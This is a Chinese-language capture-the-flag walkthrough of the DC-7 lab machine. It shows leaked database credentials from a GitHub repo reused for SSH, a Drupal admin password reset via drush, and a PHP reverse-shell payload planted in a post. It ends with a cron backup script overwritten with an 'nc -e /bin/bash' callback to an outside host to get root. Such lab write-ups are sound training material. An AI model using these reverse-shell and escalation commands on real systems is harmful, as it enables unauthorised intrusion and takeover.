1. 信息搜集
ip 扫描发现 192.168.163.131

nmap 扫描端口
1
nmap -T4 -A -p- 192.168.163.131

访问站点发现特殊字符串

必应搜索 DC7USER 发现 GitHub 项目 staffdb
Dc7User/staffdb
在配置文件中发现 mysql 数据库连接配置

1
2
3
4
5
6
7
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
2. 渗透测试
使用该用户名密码进行 SSH 连接,成功
查看目录,发现 mbox 邮件文件和网站备份文件

查看 mbox 文件,发现定时执行脚本:/opt/scripts/backups.sh
查看 /var/mail/dc7user 文件,发现自动化任务间隔 15 分钟

查看脚本权限,发现当前用户无法写入,但是 www-data可以

查看脚本内容:
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
发现 drush 命令:dupal 瑞士军刀:drush 命令大全
2.1. 用户提权
尝试 www-data 用户提权
1
2
3
cd /var/www/html
# 更改admin用户密码
drush user-password admin --password="admin"

网站登录成功,尝试反弹 shell 获取 www-data用户权限,以更改 backups.sh脚本
安装插件: https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

开启插件

勾选,点击页面最下方 install
2.2. 反弹 shell
在文章中添加脚本
1
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -nv 192.168.163.132 4444 >/tmp/f');?>

反弹 shell 成功,编辑 /opt/scripts/backups.sh 文件
1
echo "nc -nv 192.168.163.132 5555 -e /bin/bash" >/opt/scripts/backups.sh
反弹 shell 成功,获取到 root 权限

2.3. 查看 flag
1
2
python -c "import pty;pty.spawn('/bin/bash')"
cat /root/theflag.txt
